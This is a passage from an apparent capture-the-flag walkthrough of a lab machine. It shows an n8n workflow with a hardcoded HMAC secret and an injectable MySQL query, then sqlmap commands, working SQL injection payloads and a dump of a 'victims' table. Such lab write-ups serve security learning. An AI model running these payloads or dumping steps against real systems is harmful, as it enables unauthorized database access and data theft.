      “id”: “8b12bac8-f513-422e-a582-99f67b87b24f”,
      “name”: “Compare signature”,
      “type”: “n8n-nodes-base.if”,
      “typeVersion”: 2,
      “position”: [
        1100,
        340
      ]
    },
    {
      “parameters”: {
        “respondWith”: “text”,
        “responseBody”: “={{ $json.message }} | {{ JSON.stringify($json.error)}}”,
        “options”: {}
      },
      “id”: “d3f8446a-81af-4e5a-894e-e0eab0596364”,
      “name”: “DEBUG: REMOVE SOON”,
      “type”: “n8n-nodes-base.respondToWebhook”,
      “typeVersion”: 1.1,
      “position”: [
        1620,
        20
      ]
    },
    {
      “parameters”: {
        “conditions”: {
          “options”: {
            “caseSensitive”: true,
            “leftValue”: “”,
            “typeValidation”: “strict”
          },
          “conditions”: [
            {
              “id”: “593bdf17-d38a-49a2-8431-d29679082aae”,
              “leftValue”: “={{ $json.headers.hasField(’x-gophish-signature’) }}”,
              “rightValue”: “true”,
              “operator”: {
                “type”: “boolean”,
                “operation”: “true”,
                “singleValue”: true
              }
            }
          ],
          “combinator”: “and”
        },
        “options”: {}
      },
      “id”: “0abc2e19-6ccc-4114-bf27-938b98ad5819”,
      “name”: “Check gophish header”,
      “type”: “n8n-nodes-base.if”,
      “typeVersion”: 2,
      “position”: [
        440,
        440
      ]
    },
    {
      “parameters”: {
        “jsCode”: “const signatureHeader = $json.headers[\”x-gophish-signature\”];\nconst signature = signatureHeader.split(’=’)[1];\nreturn { json: { signature: signature, body: $json.body } };”
      },
      “id”: “49aff93b-5d21-490d-a2af-95611d8f83d1”,
      “name”: “Extract signature”,
      “type”: “n8n-nodes-base.code”,
      “typeVersion”: 2,
      “position”: [
        660,
        340
      ]
    },
    {
      “parameters”: {
        “action”: “hmac”,
        “type”: “SHA256”,
        “value”: “={{ JSON.stringify($json.body) }}”,
        “dataPropertyName”: “calculated_signature”,
        “secret”: “3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS”
      },
      “id”: “e406828a-0d97-44b8-8798-6d066c4a4159”,
      “name”: “Calculate the signature”,
      “type”: “n8n-nodes-base.crypto”,
      “typeVersion”: 1,
      “position”: [
        860,
        340
      ]
    },
    {
      “parameters”: {
        “conditions”: {
          “options”: {
            “caseSensitive”: true,
            “leftValue”: “”,
            “typeValidation”: “strict”
          },
          “conditions”: [
            {
              “id”: “4f69b753-a1ff-4376-88a0-032ede5d9223”,
              “leftValue”: “={{ $json.keys() }}”,
              “rightValue”: “”,
              “operator”: {
                “type”: “array”,
                “operation”: “empty”,
                “singleValue”: true
              }
            },
            {
              “id”: “9605ee34-f897-48cf-93d9-756503337686”,
              “leftValue”: “”,
              “rightValue”: “”,
              “operator”: {
                “type”: “string”,
                “operation”: “equals”,
                “name”: “filter.operator.equals”
              }
            }
          ],
          “combinator”: “and”
        },
        “options”: {}
      },
      “id”: “72f5d0bd-9025-4e7b-8d1f-8746035a2138”,
      “name”: “check if user exists in database”,
      “type”: “n8n-nodes-base.if”,
      “typeVersion”: 2,
      “position”: [
        1620,
        240
      ],
      “alwaysOutputData”: true,
      “executeOnce”: true
    },
    {
      “parameters”: {
        “operation”: “executeQuery”,
        “query”: “SELECT * FROM victims where email = \”{{ $json.body.email }}\” LIMIT 1”,
        “options”: {}
      },
      “id”: “5929bf85-d38b-4fdd-ae76-f0a61e2cef55”,
      “name”: “Get current phishing score”,
      “type”: “n8n-nodes-base.mySql”,
      “typeVersion”: 2.4,
      “position”: [
        1380,
        260
      ],
      “alwaysOutputData”: true,
      “retryOnFail”: false,
      “executeOnce”: false,
      “notesInFlow”: false,
      “credentials”: {
        “mySql”: {
          “id”: “qEqs6Hx9HRmSTg5v”,
          “name”: “mariadb - phishing”
        }
      },
      “onError”: “continueErrorOutput”
    },
    {
      “parameters”: {
        “respondWith”: “text”,
        “responseBody”: “Info: User is not in database”,
        “options”: {}
      },
      “id”: “e9806005-9ca3-4899-9b62-8d9d56ec413f”,
      “name”: “user not in database”,
      “type”: “n8n-nodes-base.respondToWebhook”,
      “typeVersion”: 1.1,
      “position”: [
        1960,
        140
      ]
    },
    {
      “parameters”: {
        “httpMethod”: “POST”,
        “path”: “d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d”,
        “responseMode”: “responseNode”,
        “options”: {}
      },
      “id”: “e425306c-06ba-441b-9860-170433602b1a”,
      “name”: “Webhook”,
      “type”: “n8n-nodes-base.webhook”,
      “typeVersion”: 2,
      “position”: [
        220,
        440
      ],
      “webhookId”: “d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d”
    },
    {
      “parameters”: {
        “errorMessage”: “User not found. This should not happen”
      },
      “id”: “ec2fc3c3-014f-49b7-af14-263b2d41250d”,
      “name”: “Stop and Error”,
      “type”: “n8n-nodes-base.stopAndError”,
      “typeVersion”: 1,
      “position”: [
        2180,
        140
      ]
    },
    {
      “parameters”: {
        “errorMessage”: “User not found. This should not happen”
      },
      “id”: “f6d17a91-3305-488e-bb2a-79d10ec00c57”,
      “name”: “Stop”,
      “type”: “n8n-nodes-base.stopAndError”,
      “typeVersion”: 1,
      “position”: [
        1840,
        20
      ]
    }
  ],
  “pinData”: {},
  “connections”: {
    “If Clicked”: {
      “main”: [
        [
          {
            “node”: “Update Phishing Score for Clicked Event”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “If Submitted Data”: {
      “main”: [
        [
          {
            “node”: “Update Phishing Score for Submitted Data”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Update Phishing Score for Clicked Event”: {
      “main”: [
        [
          {
            “node”: “Success”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Update Phishing Score for Submitted Data”: {
      “main”: [
        [
          {
            “node”: “Success”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Compare signature”: {
      “main”: [
        [
          {
            “node”: “Get current phishing score”,
            “type”: “main”,
            “index”: 0
          }
        ],
        [
          {
            “node”: “invalid signature”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Check gophish header”: {
      “main”: [
        [
          {
            “node”: “Extract signature”,
            “type”: “main”,
            “index”: 0
          }
        ],
        [
          {
            “node”: “no signature”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Extract signature”: {
      “main”: [
        [
          {
            “node”: “Calculate the signature”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Calculate the signature”: {
      “main”: [
        [
          {
            “node”: “Compare signature”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “check if user exists in database”: {
      “main”: [
        [
          {
            “node”: “user not in database”,
            “type”: “main”,
            “index”: 0
          }
        ],
        [
          {
            “node”: “If Clicked”,
            “type”: “main”,
            “index”: 0
          },
          {
            “node”: “If Submitted Data”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Get current phishing score”: {
      “main”: [
        [
          {
            “node”: “check if user exists in database”,
            “type”: “main”,
            “index”: 0
          }
        ],
        [
          {
            “node”: “DEBUG: REMOVE SOON”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “Webhook”: {
      “main”: [
        [
          {
            “node”: “Check gophish header”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “user not in database”: {
      “main”: [
        [
          {
            “node”: “Stop and Error”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    },
    “DEBUG: REMOVE SOON”: {
      “main”: [
        [
          {
            “node”: “Stop”,
            “type”: “main”,
            “index”: 0
          }
        ]
      ]
    }
  },
  “active”: true,
  “settings”: {
    “executionOrder”: “v1”
  },
  “versionId”: “803dfe3a-9d37-4e37-8a74-9281cf6aad25”,
  “meta”: {
    “templateCredsSetupCompleted”: true,
    “instanceId”: “21894d8ad64e6c729da4131f6f85c4f5b635dd24a4cd990abd2d7df2c0b9c3e5”
  },
  “id”: “WDCH0NwAZIztoV3u”,
  “tags”: [
    {
      “createdAt”: “2024-08-28T11:11:04.551Z”,
      “updatedAt”: “2024-08-28T11:11:04.551Z”,
      “id”: “EXjKCJjO0OPsnJqx”,
      “name”: “database”
    },
    {
      “createdAt”: “2024-08-28T11:11:02.744Z”,
      “updatedAt”: “2024-08-28T11:11:02.744Z”,
      “id”: “JuPt3zEtHwmK6jur”,
      “name”: “gophish”
    }
  ]
}
</details>

Let’s try to trigger SQL injection here since the HTTP request are still valid:

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

Testing with:

':{}[]"//@,

And it got triggered again. Let’s automate our findings with SQLMap and hope we elevate this further:

The parameter I’m choosing are the Email:

┌──(kali㉿kali)-[~]
└─$ sqlmap -l req.txt --batch --random-agent                                                                                        
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[’]_____ ___ ___  {1.9.9.4#dev}                                                                                                                                                                                                     
|_ -| . [)]     | .’| . |                                                                                                                                                                                                                   
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:44:48 /2025-11-06/
<details> <summary>Click to view text output</summary>
[15:44:48] [INFO] sqlmap parsed 1 (parameter unique) requests from the targets list ready to be tested
[15:44:48] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
[1/1] URL:
GET http://28efa8f7df.whiterabbit.htb:80/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d
POST data: {
  “campaign_id”: 1,
  “email”: “*”,
  “message”: “Clicked Link”
}
do you want to test this URL? [Y/n/q]
> Y
[15:44:49] [INFO] testing URL ‘http://28efa8f7df.whiterabbit.htb:80/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d’
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[15:44:49] [INFO] using ‘/home/kali/.local/share/sqlmap/output/results-11062025_0344pm.csv’ as the CSV results file in multiple targets mode
[15:44:49] [INFO] testing connection to the target URL
[15:44:49] [INFO] testing if the target URL content is stable
[15:44:50] [INFO] target URL content is stable
[15:44:50] [INFO] testing if (custom) POST parameter ‘JSON #1*’ is dynamic
[15:44:51] [WARNING] (custom) POST parameter ‘JSON #1*’ does not appear to be dynamic
[15:44:51] [WARNING] heuristic (basic) test shows that (custom) POST parameter ‘JSON #1*’ might not be injectable
[15:44:51] [INFO] testing for SQL injection on (custom) POST parameter ‘JSON #1*’
[15:44:51] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[15:44:55] [INFO] testing ‘Boolean-based blind - Parameter replace (original value)’
[15:44:55] [INFO] testing ‘MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)’
[15:44:57] [INFO] testing ‘PostgreSQL AND error-based - WHERE or HAVING clause’
[15:44:59] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)’
[15:45:01] [INFO] testing ‘Oracle AND error-based - WHERE or HAVING clause (XMLType)’
[15:45:05] [INFO] testing ‘Generic inline queries’
[15:45:06] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[15:45:06] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option ‘--time-sec’ as possible (e.g. 10 or more)
[15:45:08] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
[15:45:13] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)’
[15:45:15] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[15:45:17] [INFO] testing ‘PostgreSQL > 8.1 AND time-based blind’
[15:45:18] [INFO] testing ‘Microsoft SQL Server/Sybase time-based blind (IF)’
[15:45:20] [INFO] testing ‘Oracle AND time-based blind’
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[15:45:22] [INFO] testing ‘Generic UNION query (NULL) - 1 to 10 columns’
[15:45:27] [WARNING] (custom) POST parameter ‘JSON #1*’ does not seem to be injectable
[15:45:27] [ERROR] all tested parameters do not appear to be injectable. Try to increase values for ‘--level’/’--risk’ options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option ‘--tamper’ (e.g. ‘--tamper=space2comment’), skipping to the next target
[15:45:27] [INFO] you can find results of scanning in multiple targets mode inside the CSV file ‘/home/kali/.local/share/sqlmap/output/results-11062025_0344pm.csv’
</details>
[*] ending @ 

Now let’s specify a Database for more accurate commands:

Continue:

┌──(kali㉿kali)-[~]
└─$ sqlmap -r req.txt --batch --random-agent --time-sec 5 --risk 3 --dbms=mysql --dbs
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[.]_____ ___ ___  {1.9.9.4#dev}                                                                                                                                                                                                     
|_ -| . [(]     | .’| . |                                                                                                                                                                                                                   
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:01:02 /2025-11-06/
<details> <summary>Click to view text output</summary>
[16:01:02] [INFO] parsing HTTP request from ‘req.txt’
[16:01:02] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[16:01:02] [INFO] testing connection to the target URL
[16:01:03] [INFO] testing if the target URL content is stable
[16:01:04] [INFO] target URL content is stable
[16:01:04] [INFO] testing if (custom) POST parameter ‘JSON #1*’ is dynamic
[16:01:04] [WARNING] (custom) POST parameter ‘JSON #1*’ does not appear to be dynamic
[16:01:04] [WARNING] heuristic (basic) test shows that (custom) POST parameter ‘JSON #1*’ might not be injectable
[16:01:05] [INFO] testing for SQL injection on (custom) POST parameter ‘JSON #1*’
[16:01:05] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[16:01:07] [INFO] testing ‘OR boolean-based blind - WHERE or HAVING clause’
[16:01:11] [INFO] testing ‘Boolean-based blind - Parameter replace (original value)’
[16:01:11] [INFO] testing ‘Generic inline queries’
[16:01:11] [INFO] testing ‘MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)’
[16:01:13] [INFO] testing ‘MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)’
[16:01:15] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[16:01:17] [INFO] testing ‘MySQL >= 5.0.12 OR time-based blind (query SLEEP)’
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y
[16:01:19] [INFO] testing ‘Generic UNION query (NULL) - 1 to 10 columns’
[16:01:23] [WARNING] (custom) POST parameter ‘JSON #1*’ does not seem to be injectable
[16:01:23] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for ‘--level’/’--risk’ options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option ‘--tamper’ (e.g. ‘--tamper=space2comment’)
</details>
[*] ending @

After update and still failed, might need to set-up a proxy for this, and finally after around 30 minute we got great news:

sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data='{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers="Content-Type: application/json" --proxy http://127.0.0.1:9009 --random-agent --batch --time-sec 3

And:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d --data='{"campaign_id":1,"email":"*","message":"Clicked Link"}' --headers="Content-Type: application/json" --proxy http://127.0.0.1:9009 --random-agent --batch --time-sec 3
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[(]_____ ___ ___  {1.9.9.4#dev}                                                                                                                                                                                                     
|_ -| . [(]     | .’| . |                                                                                                                                                                                                                   
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:06:49 /2025-11-06/
<details> <summary>Click to view text output</summary>
[16:06:49] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[16:06:49] [INFO] testing connection to the target URL
[16:06:50] [INFO] testing if the target URL content is stable
[16:06:51] [INFO] target URL content is stable
[16:06:51] [INFO] testing if (custom) POST parameter ‘JSON #1*’ is dynamic
[16:06:54] [WARNING] (custom) POST parameter ‘JSON #1*’ does not appear to be dynamic
[16:06:54] [INFO] heuristic (basic) test shows that (custom) POST parameter ‘JSON #1*’ might be injectable (possible DBMS: ‘MySQL’)
[16:06:55] [INFO] testing for SQL injection on (custom) POST parameter ‘JSON #1*’
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] Y
[16:06:55] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[16:07:03] [INFO] testing ‘Boolean-based blind - Parameter replace (original value)’
[16:07:05] [INFO] testing ‘Generic inline queries’
[16:07:05] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause (MySQL comment)’
[16:07:22] [WARNING] reflective value(s) found and filtering out
[16:07:39] [INFO] testing ‘OR boolean-based blind - WHERE or HAVING clause (MySQL comment)’
[16:08:10] [INFO] testing ‘OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)’
[16:08:53] [INFO] testing ‘MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause’
[16:09:00] [INFO] (custom) POST parameter ‘JSON #1*’ appears to be ‘MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause’ injectable 
[16:09:00] [INFO] testing ‘MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)’
[16:09:01] [INFO] testing ‘MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)’
[16:09:01] [INFO] testing ‘MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)’
[16:09:02] [INFO] testing ‘MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)’
[16:09:03] [INFO] testing ‘MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)’
[16:09:03] [INFO] testing ‘MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)’
[16:09:04] [INFO] testing ‘MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)’
[16:09:05] [INFO] testing ‘MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)’
[16:09:05] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[16:09:06] [INFO] (custom) POST parameter ‘JSON #1*’ is ‘MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’ injectable 
[16:09:06] [INFO] testing ‘MySQL inline queries’
[16:09:08] [INFO] testing ‘MySQL >= 5.0.12 stacked queries (comment)’
[16:09:11] [INFO] testing ‘MySQL >= 5.0.12 stacked queries’
[16:09:15] [INFO] testing ‘MySQL >= 5.0.12 stacked queries (query SLEEP - comment)’
[16:09:19] [INFO] testing ‘MySQL >= 5.0.12 stacked queries (query SLEEP)’
[16:09:22] [INFO] testing ‘MySQL < 5.0.12 stacked queries (BENCHMARK - comment)’
[16:09:25] [INFO] testing ‘MySQL < 5.0.12 stacked queries (BENCHMARK)’
[16:09:28] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (query SLEEP)’
[16:09:37] [INFO] testing ‘MySQL >= 5.0.12 OR time-based blind (query SLEEP)’
[16:09:41] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind (SLEEP)’
[16:09:41] [INFO] testing ‘MySQL >= 5.0.12 OR time-based blind (SLEEP)’
[16:10:42] [INFO] (custom) POST parameter ‘JSON #1*’ appears to be ‘MySQL >= 5.0.12 OR time-based blind (SLEEP)’ injectable 
[16:10:42] [INFO] testing ‘Generic UNION query (NULL) - 1 to 20 columns’
[16:10:42] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 20 columns’
[16:10:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:10:45] [INFO] ‘ORDER BY’ technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:10:50] [INFO] target URL appears to have 2 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option ‘--union-char’? [Y/n] Y
[16:11:04] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. ‘--dbms=mysql’) 
[16:11:19] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option ‘--union-char’? [Y/n] Y
[16:11:29] [INFO] testing ‘MySQL UNION query (85) - 21 to 40 columns’
[16:11:43] [INFO] testing ‘MySQL UNION query (85) - 41 to 60 columns’
[16:12:00] [INFO] testing ‘MySQL UNION query (85) - 61 to 80 columns’
[16:12:16] [INFO] testing ‘MySQL UNION query (85) - 81 to 100 columns’
(custom) POST parameter ‘JSON #1*’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 317 HTTP(s) requests:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {”campaign_id”:1,”email”:”“ RLIKE (SELECT (CASE WHEN (5721=5721) THEN ‘’ ELSE 0x28 END))-- kgPA”,”message”:”Clicked Link”}
</details>
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {”campaign_id”:1,”email”:”“ AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5497=5497,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ykCs”,”message”:”Clicked Link”}
    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: {”campaign_id”:1,”email”:”“ OR SLEEP(3)-- sCre”,”message”:”Clicked Link”}
---
[16:12:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[16:12:42] [INFO] fetched data logged to text files under ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb’
[*] ending @

Let’s escalate and Dump everything:

[16:17:35] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[16:17:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {”campaign_id”:1,”email”:”“ RLIKE (SELECT (CASE WHEN (5721=5721) THEN ‘’ ELSE 0x28 END))-- kgPA”,”message”:”Clicked Link”}
<details> <summary>Click to view text output</summary>
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {”campaign_id”:1,”email”:”“ AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5497=5497,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ykCs”,”message”:”Clicked Link”}
---
[16:17:37] [INFO] testing MySQL
[16:17:37] [INFO] confirming MySQL
[16:17:37] [WARNING] reflective value(s) found and filtering out
[16:17:38] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[16:17:38] [INFO] fetching database names
[16:17:38] [INFO] resumed: ‘information_schema’
[16:17:38] [INFO] resumed: ‘phishing’
[16:17:38] [INFO] resumed: ‘temp’
available databases [3]:
[*] information_schema
[*] phishing
[*] temp
</details>
[16:17:38] [INFO] fetching tables for database: ‘phishing’
[16:17:38] [INFO] resumed: ‘victims’
Database: phishing
[1 table]
+---------+
| victims |
+---------+
<details> <summary>Click to view text output</summary>
[16:17:38] [INFO] fetching columns for table ‘victims’ in database ‘phishing’
[16:17:38] [INFO] resumed: ‘email’
[16:17:38] [INFO] resumed: ‘varchar(255)’
[16:17:38] [INFO] resumed: ‘phishing_score’
[16:17:38] [INFO] resumed: ‘int(11)’
[16:17:38] [INFO] fetching entries for table ‘victims’ in database ‘phishing’
Database: phishing
Table: victims
[30 entries]
+--------------------+----------------+
| email              | phishing_score |
+--------------------+----------------+
| test1@example.com  | 20             |
| test10@example.com | 100            |
| test11@example.com | 110            |
| test12@example.com | 120            |
| test13@example.com | 130            |
| test14@example.com | 140            |
| test15@example.com | 150            |
| test16@example.com | 160            |
| test17@example.com | 170            |
| test18@example.com | 180            |
| test19@example.com | 190            |
| test2@example.com  | 20             |
| test20@example.com | 200            |
| test21@example.com | 210            |
| test22@example.com | 220            |
| test23@example.com | 230            |
| test24@example.com | 240            |
| test25@example.com | 250            |
| test26@example.com | 260            |
| test27@example.com | 270            |
| test28@example.com | 280            |
| test29@example.com | 290            |
| test3@example.com  | 30             |
| test30@example.com | 300            |
| test4@example.com  | 40             |
| test5@example.com  | 50             |
| test6@example.com  | 8270           |
| test7@example.com  | 70             |
| test8@example.com  | 80             |
| test9@example.com  | 90             |
+--------------------+----------------+
</details>
[16:17:38] [INFO] table ‘phishing.victims’ dumped to CSV file ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb/dump/phishing/victims.csv’
[16:17:38] [INFO] fetched data logged to text files under ‘/home/kali/.local/share/sqlmap/output/28efa8f7df.whiterabbit.htb’
[*] ending @

Nothing here,

        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[)]_____ ___ ___  {1.9.9.4#dev}                                                                                                                                                                                                     
|_ -| . [’]     | .’| . |                                                                                                                                                                                                                   
|___|_  [’]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 16:18:43 /2025-11-06/
[16:18:43] [INFO] fetched random HTTP User-Agent header value ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15’ from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
custom injection marker (’*’) found in POST body. Do you want to process it? [Y/n/q] Y
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[16:18:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON #1* ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {”campaign_id”:1,”email”:”“ RLIKE (SELECT (CASE WHEN (5721=5721) THEN ‘’ ELSE 0x28 END))-- kgPA”,”message”:”Clicked Link”}
<details> <summary>Click to view text output</summary>
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {”campaign_id”:1,”email”:”“ AND (SELECT 5497 FROM(SELECT COUNT(*),CONCAT(0x7176626a71,(SELECT (ELT(5497=5497,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ykCs”,”message”:”Clicked Link”}
---
[16:18:44] [INFO] testing MySQL
[16:18:44] [INFO] confirming MySQL
[16:18:45] [WARNING] reflective value(s) found and filtering out
[16:18:46] [INFO] the back-end DBMS is MySQL
